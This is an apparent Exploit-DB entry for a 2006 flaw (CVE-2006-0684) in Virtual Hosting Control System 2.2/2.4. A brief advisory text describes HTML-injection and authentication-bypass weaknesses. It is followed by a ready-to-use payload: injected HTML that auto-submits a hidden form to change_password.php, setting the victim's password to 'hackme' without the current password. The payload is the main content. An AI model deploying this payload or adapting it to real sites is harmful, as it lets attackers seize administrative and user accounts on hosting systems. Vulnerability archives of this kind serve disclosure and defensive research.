Virtual Hosting Control System 2.2/2.4 change_password.php Current Password Weakness

2006-02-13T00:00:00
ID EDB-ID:27204
Type exploitdb
Reporter Roman Medina-Heigl Hernandez
Modified 2006-02-13T00:00:00

Description

Virtual Hosting Control System 2.2/2.4 change_password.php Current Password Weakness. CVE-2006-0684. Webapps exploit for php platform

                                        
                                            source: http://www.securityfocus.com/bid/16600/info

Virtual Hosting Control System (VHCS) is prone to multiple input and access vulnerabilities.

VHCS is prone to an HTML-injection vulnerability and an authentication-bypass vulnerability. These issues could be exploited to gain administrative access to the application; other attacks are also possible.

</form><form name="dsr" method="post" action="ch%61nge_password.php"><input name="pass" value="hackme"><input name="pass_rep" value="hackme"><input name="uaction" value="updt_pass"></form><script>document.dsr.submit()</script>